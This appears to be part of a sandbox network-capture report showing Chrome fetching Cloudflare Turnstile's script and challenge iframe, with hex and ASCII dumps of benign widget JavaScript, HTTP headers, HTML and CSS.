2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.17	49718	104.18.95.41	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 15:33:15 UTC	794	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jw1no/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://k8.komirath.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 15:33:15 UTC	1362	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 15:33:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26635 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2025-01-10 15:33:15 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 66 64 62 39 37 32 38 64 39 35 34 32 39 39 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8ffdb9728d954299-EWRalt-svc: h3=":443"; ma=86400
2025-01-10 15:33:15 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-10 15:33:15 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
